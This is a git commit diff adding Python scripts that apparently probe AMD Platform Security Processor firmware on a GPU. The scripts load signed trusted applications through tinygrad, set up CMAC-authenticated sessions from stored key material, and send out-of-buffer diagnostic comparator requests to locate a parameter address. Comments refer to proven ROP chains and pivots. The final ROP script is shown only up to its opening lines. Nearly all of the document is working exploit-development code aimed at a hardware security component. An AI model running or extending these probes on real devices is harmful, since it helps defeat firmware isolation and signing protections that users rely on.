diff options
| author | user <user@clank> | 2026-10-09 16:11:31 +0200 |
|---|---|---|
| committer | user <user@clank> | 2026-10-09 16:11:31 +0200 |
| commit | bc43149d914325e15dc0490dee9d982e21287623 (patch) | |
| tree | a632cf70de742d5a60d01c9c0d806bf5b9257538 /hw | |
| parent | GCP->ASD 0x403: ASD-internal chain PROVEN end-to-end in emulator (real handlers) (diff) | |
| download | amd-psp-re-main.tar.gz amd-psp-re-main.tar.xz amd-psp-re-main.zip | |
Diffstat (limited to 'hw')
| -rw-r--r-- | hw/gcp_fe0a_params_va_adjacent.py | 106 | ||||
| -rw-r--r-- | hw/gcp_fe0a_params_va_exact.py | 106 | ||||
| -rw-r--r-- | hw/gcp_fe0a_params_va_nonrop.py | 164 | ||||
| -rw-r--r-- | hw/gcp_fe0a_params_va_sid2.py | 123 | ||||
| -rw-r--r-- | hw/gcp_pmi3_signed_event_control.py | 84 | ||||
| -rw-r--r-- | hw/gcp_rop_asd5_pmi3_event.py | 359 | ||||
| -rw-r--r-- | hw/mp1_pmi3_host_event_control.py | 37 | ||||
| -rw-r--r-- | hw/mp1_pmi3_host_event_control_fresh.py | 37 | ||||
| -rw-r--r-- | hw/psp_mp1_pmi3_host_readonly.py | 25 |
9 files changed, 1041 insertions, 0 deletions
diff --git a/hw/gcp_fe0a_params_va_adjacent.py b/hw/gcp_fe0a_params_va_adjacent.py new file mode 100644 index 0000000..5459c8d --- /dev/null +++ b/hw/gcp_fe0a_params_va_adjacent.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +"""One-shot non-ROP equality check for unique GCP .77 word at 0x404A78. + +No selector-4 / pivot / LSDMA / MP1 security register request. FE0A diagnostic +may issue MP1 PMI3 event writes. Three signed auth sessions in one clean boot: +local positive gate control, then two thresholds bracketing one code dword. +A fault or unexpected result aborts the sequence; ATX recovery is external. +""" +import ast +import glob +import hashlib +import json +import os +import struct +from tinygrad import Device +import tinygrad.runtime.autogen.am.am as am + +# Extract explicitly whitelisted pure CMAC functions and seven probe helpers, +# never execute either old script's top-level hardware requests. +def extract(path, sha, names, include_sb=False): + src=open(path,'rb').read() + assert hashlib.sha256(src).hexdigest()==sha + body=[] + for n in ast.parse(src.decode()).body: + if isinstance(n, ast.FunctionDef) and n.name in names: + body.append(n) + elif include_sb and isinstance(n,ast.Assign) and len(n.targets)==1 and isinstance(n.targets[0],ast.Name) and n.targets[0].id=='SB': + body.append(n) + assert {n.name for n in body if isinstance(n,ast.FunctionDef)}==set(names) + assert len(body)==len(names)+int(include_sb) + ns={} + exec(compile(ast.fix_missing_locations(ast.Module(body=body,type_ignores=[])),path,'exec'),ns) + return ns + +pure=extract('/root/psp/hw/gcp_fe0a_sel8_probe.py', + '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9', + ('xt','expand','enc','dbl','cmac'),True) +helper=extract('/root/psp/hw/gcp_fe0a_params_va_nonrop.py', + '110650cc738fa3301594c8060d7c26d1757bfed0968cc96e2e50417cfaf26073', + ('alloc','submit','load','build','invoke','setup_handle','diagnostic_buf')) +# Compiled functions' globals are the helper dict; resolve cross-function names. +helper.update(pure) +helper.update({'am':am,'Device':Device,'glob':glob,'struct':struct,'BUFLEN':0x40000,'PAT':0xA5}) +g=json.load(open('/root/psp/hw/fe08_good.json')) +helper.update({'ct':bytes.fromhex(g['ct']),'sk':bytes.fromhex(g['sk']), + 'seedoff':g['seedoff']}) +assert pure['cmac'](helper['sk'],bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'] +print('CMAC self-test OK; no key material printed',flush=True) +marker='/root/psp/hw/.gcp_fe0a_params_va_adjacent.attempted' +fd=os.open(marker,os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600);os.close(fd) + +adev=Device['AMD'].iface.dev_impl +psp=adev.psp +helper.update({'adev':adev,'psp':psp}) +alloc,load,invoke,setup_handle,diagnostic_buf=(helper[k] for k in + ('alloc','load','invoke','setup_handle','diagnostic_buf')) +asd_app,asd_mc=alloc(0x80000) +asd_cmd,asd_cmd_mc=alloc(0x10000) +app,app_mc=alloc(0x80000) +cmd,cmd_mc=alloc(0x40000) +helper.update({'cmd':cmd}) +asd_blob=open('/root/psp/contall/asd_33-0-0-163_18debcc4.bin','rb').read() +gcp_blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read() +a_status,_=load(asd_blob,am.GFX_CMD_ID_LOAD_ASD,asd_app,asd_mc,asd_cmd_mc,0x10000) +print('ASD load',hex(a_status),flush=True) +assert a_status==0 +status,sid=load(gcp_blob,am.GFX_CMD_ID_LOAD_TA,app,app_mc,cmd_mc,0x40000) +helper['sid']=sid +print('GCP load',hex(status),'sid',sid,flush=True) +assert status==0 and sid + +last_ring_ok=False +try: + # Counter=0x4604a120; in-buffer word 0x60000000 must pass the same + # 0xffffffff declared-length / diagnostic-selector gates. + helper['SEED']=0x4604A121 + h=setup_handle() + last_ring_ok=False + ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0,0x60000000)) + last_ring_ok=ring==0 + print('in-buffer gate ring=%#x status=%#x'%(ring,ta),flush=True) + assert ring==0 and ta==0x241, 'gate control failed, no OOB probe' + # The signed .77 dword at 0x404a78 is 0x4604a121 (unique in its ELF). + # Test its exact threshold instead of another generic greater-than. + for seed,expected in ((0x4604A121,0x241),(0x4604A122,0x100)): + helper['SEED']=seed + last_ring_ok=False + h=setup_handle() + print('ONE comparator threshold counter=%#x'%(seed-1),flush=True) + last_ring_ok=False + ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0xFC3E0A64,0x11111111)) + last_ring_ok=ring==0 + print('comparator ring=%#x status=%#x expected=%#x'%(ring,ta,expected),flush=True) + assert ring==0 and ta==expected, 'nonmatching/faulted threshold: stop, do not infer params VA' + print('two thresholds match unique signed codeword 0x4604a121 in this boot;', + 'this does not measure the params VA in another boot/session',flush=True) +finally: + # On an exception, don't pile an unload onto a potentially faulted ring. + if last_ring_ok: + try: + u=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA) + u.cmd.cmd_unload_ta.session_id=sid + ru=psp._ring_submit(u) + print('GCP unload',hex(ru.resp.status&0xffffffff),flush=True) + except Exception as exc: + print('GCP unload unavailable; ATX needed:',type(exc).__name__,flush=True) diff --git a/hw/gcp_fe0a_params_va_exact.py b/hw/gcp_fe0a_params_va_exact.py new file mode 100644 index 0000000..5d013e1 --- /dev/null +++ b/hw/gcp_fe0a_params_va_exact.py @@ -0,0 +1,106 @@ +#!/usr/bin/env python3 +"""One-shot non-ROP equality check for signed GCP .77 word at 0x404A74. + +No selector-4 / pivot / LSDMA / MP1 security register request. FE0A diagnostic +may issue MP1 PMI3 event writes. Three signed auth sessions in one clean boot: +local positive gate control, then two thresholds bracketing one code dword. +A fault or unexpected result aborts the sequence; ATX recovery is external. +""" +import ast +import glob +import hashlib +import json +import os +import struct +from tinygrad import Device +import tinygrad.runtime.autogen.am.am as am + +# Extract explicitly whitelisted pure CMAC functions and seven probe helpers, +# never execute either old script's top-level hardware requests. +def extract(path, sha, names, include_sb=False): + src=open(path,'rb').read() + assert hashlib.sha256(src).hexdigest()==sha + body=[] + for n in ast.parse(src.decode()).body: + if isinstance(n, ast.FunctionDef) and n.name in names: + body.append(n) + elif include_sb and isinstance(n,ast.Assign) and len(n.targets)==1 and isinstance(n.targets[0],ast.Name) and n.targets[0].id=='SB': + body.append(n) + assert {n.name for n in body if isinstance(n,ast.FunctionDef)}==set(names) + assert len(body)==len(names)+int(include_sb) + ns={} + exec(compile(ast.fix_missing_locations(ast.Module(body=body,type_ignores=[])),path,'exec'),ns) + return ns + +pure=extract('/root/psp/hw/gcp_fe0a_sel8_probe.py', + '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9', + ('xt','expand','enc','dbl','cmac'),True) +helper=extract('/root/psp/hw/gcp_fe0a_params_va_nonrop.py', + '110650cc738fa3301594c8060d7c26d1757bfed0968cc96e2e50417cfaf26073', + ('alloc','submit','load','build','invoke','setup_handle','diagnostic_buf')) +# Compiled functions' globals are the helper dict; resolve cross-function names. +helper.update(pure) +helper.update({'am':am,'Device':Device,'glob':glob,'struct':struct,'BUFLEN':0x40000,'PAT':0xA5}) +g=json.load(open('/root/psp/hw/fe08_good.json')) +helper.update({'ct':bytes.fromhex(g['ct']),'sk':bytes.fromhex(g['sk']), + 'seedoff':g['seedoff']}) +assert pure['cmac'](helper['sk'],bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'] +print('CMAC self-test OK; no key material printed',flush=True) +marker='/root/psp/hw/.gcp_fe0a_params_va_exact.attempted' +fd=os.open(marker,os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600);os.close(fd) + +adev=Device['AMD'].iface.dev_impl +psp=adev.psp +helper.update({'adev':adev,'psp':psp}) +alloc,load,invoke,setup_handle,diagnostic_buf=(helper[k] for k in + ('alloc','load','invoke','setup_handle','diagnostic_buf')) +asd_app,asd_mc=alloc(0x80000) +asd_cmd,asd_cmd_mc=alloc(0x10000) +app,app_mc=alloc(0x80000) +cmd,cmd_mc=alloc(0x40000) +helper.update({'cmd':cmd}) +asd_blob=open('/root/psp/contall/asd_33-0-0-163_18debcc4.bin','rb').read() +gcp_blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read() +a_status,_=load(asd_blob,am.GFX_CMD_ID_LOAD_ASD,asd_app,asd_mc,asd_cmd_mc,0x10000) +print('ASD load',hex(a_status),flush=True) +assert a_status==0 +status,sid=load(gcp_blob,am.GFX_CMD_ID_LOAD_TA,app,app_mc,cmd_mc,0x40000) +helper['sid']=sid +print('GCP load',hex(status),'sid',sid,flush=True) +assert status==0 and sid + +last_ring_ok=False +try: + # Counter=0x460db5af; in-buffer word 0x60000000 must pass the same + # 0xffffffff declared-length / diagnostic-selector gates. + helper['SEED']=0x460DB5B0 + h=setup_handle() + last_ring_ok=False + ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0,0x60000000)) + last_ring_ok=ring==0 + print('in-buffer gate ring=%#x status=%#x'%(ring,ta),flush=True) + assert ring==0 and ta==0x241, 'gate control failed, no OOB probe' + # The signed .77 dword at 0x404a74 is 0x460db5b0. These two + # comparisons distinguish exact equality, not merely >0x40000000. + for seed,expected in ((0x460DB5B0,0x241),(0x460DB5B1,0x100)): + helper['SEED']=seed + last_ring_ok=False + h=setup_handle() + print('ONE comparator threshold counter=%#x'%(seed-1),flush=True) + last_ring_ok=False + ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0xFC3E0A60,0x11111111)) + last_ring_ok=ring==0 + print('comparator ring=%#x status=%#x expected=%#x'%(ring,ta,expected),flush=True) + assert ring==0 and ta==expected, 'nonmatching/faulted threshold: stop, do not infer params VA' + print('two thresholds match exact signed codeword 0x460db5b0 in this boot;', + 'this does not measure the params VA in another boot/session',flush=True) +finally: + # On an exception, don't pile an unload onto a potentially faulted ring. + if last_ring_ok: + try: + u=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA) + u.cmd.cmd_unload_ta.session_id=sid + ru=psp._ring_submit(u) + print('GCP unload',hex(ru.resp.status&0xffffffff),flush=True) + except Exception as exc: + print('GCP unload unavailable; ATX needed:',type(exc).__name__,flush=True) diff --git a/hw/gcp_fe0a_params_va_nonrop.py b/hw/gcp_fe0a_params_va_nonrop.py new file mode 100644 index 0000000..151857b --- /dev/null +++ b/hw/gcp_fe0a_params_va_nonrop.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python3 +"""One-shot NON-ROP FE0A mapping discriminator on the card. + +No FE0A selector-4 chosen writes, no GCP pivot, no LSDMA/MP1-MMU writes. +An in-buffer diagnostic FE0A control first checks all gates; ONE subsequent +out-of-buffer comparator may fault if the params VA differs from BOTH bases. +Both FE0A paths may emit three ASD->SYS_DRV 0x1079 events to MP1 PMI3. +On ring timeout stop and recover with ATX. +""" +import ast +import glob +import hashlib +import json +import os +import struct +import sys + +from tinygrad import Device +import tinygrad.runtime.autogen.am.am as am + +# Reuse ONLY the pure AES/CMAC definitions from the byte-identical older probe. +# Parse as DATA: never import or execute its top-level card-operation code. +HELPER = '/root/psp/hw/gcp_fe0a_sel8_probe.py' +EXPECTED_SHA256 = '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9' +src = open(HELPER, 'rb').read() +assert hashlib.sha256(src).hexdigest() == EXPECTED_SHA256 +nodes = [] +for node in ast.parse(src.decode()).body: + if isinstance(node, ast.Assign) and len(node.targets) == 1 and isinstance(node.targets[0], ast.Name) and node.targets[0].id == 'SB': + nodes.append(node) + if isinstance(node, ast.FunctionDef) and node.name in ('xt', 'expand', 'enc', 'dbl', 'cmac'): + nodes.append(node) +assert len(nodes) == 6 and {n.name for n in nodes if isinstance(n, ast.FunctionDef)} == {'xt','expand','enc','dbl','cmac'} +helper = {} +exec(compile(ast.fix_missing_locations(ast.Module(body=nodes, type_ignores=[])), HELPER, 'exec'), helper) +cmac = helper['cmac'] +g = json.load(open('/root/psp/hw/fe08_good.json')) +ct, sk, seedoff = bytes.fromhex(g['ct']), bytes.fromhex(g['sk']), g['seedoff'] +assert cmac(sk, bytes([1,0,0,0])+bytes(range(4,0x20))).hex() == g['mac'] +print('CMAC self-test OK; key material not printed', flush=True) + +BUFLEN, PAT = 0x40000, 0xA5 +DISP, SEED = 0xFC3E0A60, 0x40000001 +assert ((0x04024000 + 0x14 + DISP) & 0xffffffff) == 0x404A74 +assert ((0x04035000 + 0x14 + DISP) & 0xffffffff) == 0x415A74 + +# One-shot guard against accidentally replaying this stateful test. +marker = '/root/psp/hw/.gcp_fe0a_params_va_nonrop.attempted' +fd = os.open(marker, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600) +os.close(fd) + +adev = Device['AMD'].iface.dev_impl +psp = adev.psp + +def alloc(n): + pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False) + return pa, adev.paddr2mc(pa) + +def submit(cmd): + return psp._ring_submit(cmd) + +def load(blob, which, app_pa, app_mc, cmd_mc, cmdlen): + n = (len(blob)+3)&~3 + adev.vram.view(app_pa,n)[:] = blob + b'\0'*(n-len(blob)) + adev.gmc.flush_hdp() + c = am.struct_psp_gfx_cmd_resp(cmd_id=which) + t = c.cmd.cmd_load_ta + t.app_phy_addr_lo,t.app_phy_addr_hi = app_mc&0xffffffff,app_mc>>32 + t.app_len = len(blob) + t.cmd_buf_phy_addr_lo,t.cmd_buf_phy_addr_hi = cmd_mc&0xffffffff,cmd_mc>>32 + t.cmd_buf_len = cmdlen + r = submit(c) + return r.resp.status&0xffffffff,r.resp.session_id + +asd_app,asd_mc = alloc(0x80000) +asd_cmd,asd_cmd_mc = alloc(0x10000) +app,app_mc = alloc(0x80000) +cmd,cmd_mc = alloc(BUFLEN) +asd_blob = open('/root/psp/contall/asd_33-0-0-163_18debcc4.bin','rb').read() +gcp_blob = open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read() +a_status,_ = load(asd_blob, am.GFX_CMD_ID_LOAD_ASD, asd_app, asd_mc, asd_cmd_mc, 0x10000) +print('ASD load status=%#x'%a_status, flush=True) +assert a_status == 0 +status,sid = load(gcp_blob, am.GFX_CMD_ID_LOAD_TA, app, app_mc, cmd_mc, BUFLEN) +print('GCP load status=%#x sid=%s'%(status,sid), flush=True) +assert status == 0 and sid + +def build(op,handle,blob=None,seed=None,extra=None): + b = bytearray([PAT])*BUFLEN + struct.pack_into('<II',b,0,op,0) + struct.pack_into('<I',b,0x10,handle) + struct.pack_into('<I',b,0x414,0xfffffffb) + struct.pack_into('<I',b,0x818,0x1000) + if blob is not None: b[0x14:0x14+len(blob)] = blob + if seed is not None: + d = seed.to_bytes(4,'little') + bytes(range(4,0x20)) + b[0x14:0x24] = cmac(sk,d) + b[0x24:0x24+len(d)] = d + struct.pack_into('<I',b,0x414,0x10+len(d)) + for off,val in (extra or {}).items(): struct.pack_into('<I',b,off,val) + return b + +def invoke(op,b): + adev.vram.view(cmd,BUFLEN)[:] = b + adev.gmc.flush_hdp() + c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD) + c.cmd.cmd_invoke_cmd.session_id = sid + c.cmd.cmd_invoke_cmd.ta_cmd_id = op + r = submit(c) + adev.gmc.flush_hdp() + data = bytes(adev.vram.view(cmd,0x1960)[:]) + return r.resp.status&0xffffffff,struct.unpack_from('<I',data,8)[0],data + +def setup_handle(): + ring,ta,data = invoke(0xFE07,build(0xFE07,0)) + handle = struct.unpack_from('<I',data,0x1950)[0] + print('FE07 ring=%#x ta=%#x handle_nonzero=%s'%(ring,ta,bool(handle)), flush=True) + assert ring == ta == 0 and handle + ring,ta,_ = invoke(0xFE08,build(0xFE08,handle,blob=ct)) + print('FE08 ring=%#x ta=%#x'%(ring,ta), flush=True) + assert ring == ta == 0 + ring,ta,_ = invoke(0xFE09,build(0xFE09,handle,seed=SEED, + extra={0x820:1, 0x828:0xE8, 0x82C:seedoff, 0x830:0})) + print('FE09 ring=%#x ta=%#x'%(ring,ta), flush=True) + assert ring == ta == 0 + return handle + +def diagnostic_buf(handle,disp,local_word): + b = build(0xFE0A,handle) + struct.pack_into('<I',b,0x14,local_word) + struct.pack_into('<I',b,0x414,0xffffffff) # REQUIRED by pre-comparator signed bound + struct.pack_into('<I',b,0x820,11) # diagnostic case; NO memcpy/selector-4 + struct.pack_into('<I',b,0x824,disp) + struct.pack_into('<I',b,0x828,0) + return b + +finished = False +try: + control_handle = setup_handle() + print('in-buffer FE0A control, same huge declared length and selector',flush=True) + cring,cta,_ = invoke(0xFE0A,diagnostic_buf(control_handle,0,0x60000000)) + print('control ring=%#x ta=%#x'%(cring,cta),flush=True) + assert cring == 0 and cta == 0x241, 'gate control failed; no OOB comparator attempted' + handle = setup_handle() # new signed auth session; preserve prior control + print('issuing ONE non-ROP OOB comparator; old-base=0x241 shifted-base=0x100; other=unknown',flush=True) + ring,ta,_ = invoke(0xFE0A,diagnostic_buf(handle,DISP,0x11111111)) + finished = ring == 0 + print('comparator ring=%#x ta=%#x'%(ring,ta),flush=True) + if ring == 0 and ta == 0x241: + print('conditional old-base comparator ACCEPT; still not a live VA measurement',flush=True) + elif ring == 0 and ta == 0x100: + print('conditional shifted-base comparator REJECT (other target words can also reject)',flush=True) + else: + print('NON-DISCRIMINATING RESULT: do not assume either VA',flush=True) +finally: + # Never stack more PSP commands on an exception or an unresponsive ring. + try: + if finished: + u = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA) + u.cmd.cmd_unload_ta.session_id = sid + ru = submit(u) + print('GCP unload ring=%#x'%(ru.resp.status&0xffffffff),flush=True) + except Exception as exc: + print('GCP unload unavailable; ATX recovery needed:',type(exc).__name__,flush=True) diff --git a/hw/gcp_fe0a_params_va_sid2.py b/hw/gcp_fe0a_params_va_sid2.py new file mode 100644 index 0000000..6aed546 --- /dev/null +++ b/hw/gcp_fe0a_params_va_sid2.py @@ -0,0 +1,123 @@ +#!/usr/bin/env python3 +"""One-shot non-ROP params-VA discriminator for GCP session ID 2. + +Run ONLY immediately after the successful SID1 adjacent-word test left ASD +loaded and GCP unloaded. No selector-4, pivot or DMA control writes. Selector +11 may emit MP1 PMI3 diagnostic events. Preserve this boot: no ATX beforehand. +A fault or unexpected result stops; ATX recovery is external. +""" +import ast +import glob +import hashlib +import json +import os +import struct +from tinygrad import Device +import tinygrad.runtime.autogen.am.am as am + +# Extract explicitly whitelisted pure CMAC functions and seven probe helpers, +# never execute either old script's top-level hardware requests. +def extract(path, sha, names, include_sb=False): + src=open(path,'rb').read() + assert hashlib.sha256(src).hexdigest()==sha + body=[] + for n in ast.parse(src.decode()).body: + if isinstance(n, ast.FunctionDef) and n.name in names: + body.append(n) + elif include_sb and isinstance(n,ast.Assign) and len(n.targets)==1 and isinstance(n.targets[0],ast.Name) and n.targets[0].id=='SB': + body.append(n) + assert {n.name for n in body if isinstance(n,ast.FunctionDef)}==set(names) + assert len(body)==len(names)+int(include_sb) + ns={} + exec(compile(ast.fix_missing_locations(ast.Module(body=body,type_ignores=[])),path,'exec'),ns) + return ns + +pure=extract('/root/psp/hw/gcp_fe0a_sel8_probe.py', + '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9', + ('xt','expand','enc','dbl','cmac'),True) +helper=extract('/root/psp/hw/gcp_fe0a_params_va_nonrop.py', + '110650cc738fa3301594c8060d7c26d1757bfed0968cc96e2e50417cfaf26073', + ('alloc','submit','load','build','invoke','setup_handle','diagnostic_buf')) +# Compiled functions' globals are the helper dict; resolve cross-function names. +helper.update(pure) +helper.update({'am':am,'Device':Device,'glob':glob,'struct':struct,'BUFLEN':0x40000,'PAT':0xA5}) +g=json.load(open('/root/psp/hw/fe08_good.json')) +helper.update({'ct':bytes.fromhex(g['ct']),'sk':bytes.fromhex(g['sk']), + 'seedoff':g['seedoff']}) +assert pure['cmac'](helper['sk'],bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'] +print('CMAC self-test OK; no key material printed',flush=True) +marker='/root/psp/hw/.gcp_fe0a_params_va_sid2.attempted' +fd=os.open(marker,os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600);os.close(fd) + +adev=Device['AMD'].iface.dev_impl +psp=adev.psp +helper.update({'adev':adev,'psp':psp}) +alloc,load,invoke,setup_handle,diagnostic_buf=(helper[k] for k in + ('alloc','load','invoke','setup_handle','diagnostic_buf')) +# ASD from the preceding successful test remains loaded; re-loading would +# change the experiment. Only a fresh GCP load is issued here. +app,app_mc=alloc(0x80000) +cmd,cmd_mc=alloc(0x40000) +helper.update({'cmd':cmd}) +gcp_blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read() +status,sid=load(gcp_blob,am.GFX_CMD_ID_LOAD_TA,app,app_mc,cmd_mc,0x40000) +helper['sid']=sid +print('GCP load',hex(status),'sid',sid,flush=True) +assert status==0 and sid==2, 'not the expected SID2 mapping scenario' + +last_ring_ok=False +try: + # Counter=0x4604a120; in-buffer word 0x60000000 must pass the same + # 0xffffffff declared-length / diagnostic-selector gates. + helper['SEED']=0x4604A121 + h=setup_handle() + last_ring_ok=False + ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0,0x60000000)) + last_ring_ok=ring==0 + print('in-buffer gate ring=%#x status=%#x'%(ring,ta),flush=True) + assert ring==0 and ta==0x241, 'gate control failed, no OOB probe' + # The signed .77 dword at 0x404a78 is 0x4604a121, unique in its ELF. + # Old-base displacement reads it if params=0x04024000; shifted-base + # displacement reads it if params=0x04035000. Only follow the alternative + # after a clean old-base rejection and a working in-buffer control. + helper['SEED']=0x4604A121 + last_ring_ok=False + h=setup_handle() + last_ring_ok=False + ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,0xFC3E0A64,0x11111111)) + last_ring_ok=ring==0 + print('old-base threshold counter=0x4604a120 ring=%#x status=%#x'%(ring,ta),flush=True) + assert ring==0 and ta in (0x100,0x241), 'unexpected old-base result; stop' + if ta==0x241: + disp=0xFC3E0A64; label='OLD_BASE' + else: + disp=0xFC3CFA64; label='SHIFTED_BASE' + helper['SEED']=0x4604A121 + last_ring_ok=False + h=setup_handle() + last_ring_ok=False + ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,disp,0x11111111)) + last_ring_ok=ring==0 + print('shifted-base threshold counter=0x4604a120 ring=%#x status=%#x'%(ring,ta),flush=True) + assert ring==0 and ta==0x241, 'shifted-base did not match; stop' + # Exact equality: the boundary counter must reject the same target. + helper['SEED']=0x4604A122 + last_ring_ok=False + h=setup_handle() + last_ring_ok=False + ring,ta,_=invoke(0xFE0A,diagnostic_buf(h,disp,0x11111111)) + last_ring_ok=ring==0 + print(label,'equality boundary counter=0x4604a121 ring=%#x status=%#x'%(ring,ta),flush=True) + assert ring==0 and ta==0x100, 'second threshold did not confirm the unique word' + print(label,'matches unique signed codeword 0x4604a121 in this SID2 boot;', + 'this is still a source read, not an independently verified destination write',flush=True) +finally: + # On an exception, don't pile an unload onto a potentially faulted ring. + if last_ring_ok: + try: + u=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA) + u.cmd.cmd_unload_ta.session_id=sid + ru=psp._ring_submit(u) + print('GCP unload',hex(ru.resp.status&0xffffffff),flush=True) + except Exception as exc: + print('GCP unload unavailable; ATX needed:',type(exc).__name__,flush=True) diff --git a/hw/gcp_pmi3_signed_event_control.py b/hw/gcp_pmi3_signed_event_control.py new file mode 100644 index 0000000..76fd4eb --- /dev/null +++ b/hw/gcp_pmi3_signed_event_control.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python3 +"""One-shot signed GCP diagnostic event versus host-only PMI3 neighbor readback. + +This is a CONTROL for candidate fabric target 0x03B30600, not an ASD 0x403 +write. Only FE0A selector 11's signed diagnostic messages are issued. No +read/write of the candidate data register itself; host SMN INDEX2 writes +select the read address only. No repeat of the quarantined ROP chain. +""" +import ast +import glob +import hashlib +import json +import os +import struct +from tinygrad import Device +import tinygrad.runtime.autogen.am.am as am + +def extract(path,sha,names,include_sb=False): + src=open(path,'rb').read() + assert hashlib.sha256(src).hexdigest()==sha + body=[] + for n in ast.parse(src.decode()).body: + if isinstance(n,ast.FunctionDef) and n.name in names: body.append(n) + if include_sb and isinstance(n,ast.Assign) and len(n.targets)==1 and isinstance(n.targets[0],ast.Name) and n.targets[0].id=='SB': body.append(n) + assert len(body)==len(names)+int(include_sb) + assert {n.name for n in body if isinstance(n,ast.FunctionDef)}==set(names) + ns={} + exec(compile(ast.fix_missing_locations(ast.Module(body=body,type_ignores=[])),path,'exec'),ns) + return ns +pure=extract('/root/psp/hw/gcp_fe0a_sel8_probe.py', + '7e0a36457d7841e027d94ca42742ab5702e325b6ce719d1e261149173d9e64a9', + ('xt','expand','enc','dbl','cmac'),True) +h=extract('/root/psp/hw/gcp_fe0a_params_va_nonrop.py', + '110650cc738fa3301594c8060d7c26d1757bfed0968cc96e2e50417cfaf26073', + ('alloc','submit','load','build','invoke','setup_handle','diagnostic_buf')) +h.update(pure);h.update({'am':am,'glob':glob,'struct':struct,'BUFLEN':0x40000,'PAT':0xA5,'SEED':1}) +g=json.load(open('/root/psp/hw/fe08_good.json')) +h.update({'ct':bytes.fromhex(g['ct']),'sk':bytes.fromhex(g['sk']),'seedoff':g['seedoff']}) +assert pure['cmac'](h['sk'],bytes([1,0,0,0])+bytes(range(4,0x20))).hex()==g['mac'] +print('CMAC self-test OK; key material not printed',flush=True) +fd=os.open('/root/psp/hw/.gcp_pmi3_signed_event_control.attempted',os.O_WRONLY|os.O_CREAT|os.O_EXCL,0o600);os.close(fd) +adev=Device['AMD'].iface.dev_impl +psp=adev.psp +h.update({'adev':adev,'psp':psp}) +alloc,load,invoke,setup_handle,diagnostic_buf=(h[k] for k in ('alloc','load','invoke','setup_handle','diagnostic_buf')) + +def smn(a): + adev.wreg(14,a) # PCIE_INDEX2, numeric read selector only + return adev.rreg(15)&0xffffffff + +def snapshot(tag): + vals=tuple(smn(a) for a in (0x03B30604,0x03B30608,0x03B3060C)) + print(tag,'PMI3 adjacent status,rptr,wptr',tuple(hex(v) for v in vals), + 'MP0',hex(smn(0x03810ACC)),'bogus',hex(smn(0x0FEEDC00)),flush=True) + return vals + +# ASD is still loaded after the preceding signed ASD-first run. GCP TA +# unload was independently verified zero; do not disturb ASD or ATX. +app,app_mc=alloc(0x80000) +cmd,cmd_mc=alloc(0x40000) +h['cmd']=cmd +gcp_blob=open(glob.glob('/root/psp/contall/ta_22-0-0-77*')[0],'rb').read() +status,sid=load(gcp_blob,am.GFX_CMD_ID_LOAD_TA,app,app_mc,cmd_mc,0x40000) +h['sid']=sid +print('GCP load',hex(status),'sid',sid,flush=True) +assert status==0 and sid +ring_ok=False +try: + handle=setup_handle() + before=snapshot('BEFORE') + b=diagnostic_buf(handle,0,0x60000000) + struct.pack_into('<I',b,0x414,0x1000) # ordinary in-buffer declared length + ring,ta,_=invoke(0xFE0A,b) + ring_ok=ring==0 + print('signed selector-11 FE0A ring=%#x ta=%#x'%(ring,ta),flush=True) + assert ring==0 and ta==0x241 + after=snapshot('AFTER') + print('adjacent_changed',before!=after,flush=True) +finally: + if ring_ok: + u=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_UNLOAD_TA) + u.cmd.cmd_unload_ta.session_id=sid + ru=psp._ring_submit(u) + print('GCP unload',hex(ru.resp.status&0xffffffff),flush=True) diff --git a/hw/gcp_rop_asd5_pmi3_event.py b/hw/gcp_rop_asd5_pmi3_event.py new file mode 100644 index 0000000..fe13343 --- /dev/null +++ b/hw/gcp_rop_asd5_pmi3_event.py @@ -0,0 +1,359 @@ +"""Bounded ASD 0x403 MP1 PMI3 event/control, based on proven SID1 scratch ROP. + +Two ONE-SHOT modes in separate clean boots: width-zero control, then width-4 +natural diagnostic word (only if control passes). A new signed-codeword +comparator gate in the SAME GCP session checks the old params-VA hypothesis +before any ROP. Host-SMN adjacent pointer is the independent event oracle; +ASD 0x404 reads benign BIOS_SCRATCH_15 only, not PMI3's data port. +Potentially disruptive VOLATILE event write; no flash, fuse or MMU bar. +Do not confuse this modified, gated experiment with retrying the faulted +SID2 LSDMA chain; fail closed on any gate mismatch or unresponsive PSP. +""" +import struct, sys, glob, json +sys.path.insert(0,'/root/psp/hw') +from tinygrad import Device +import tinygrad.runtime.autogen.am.am as am + +# ---------- pure-python AES-128 + CMAC ---------- 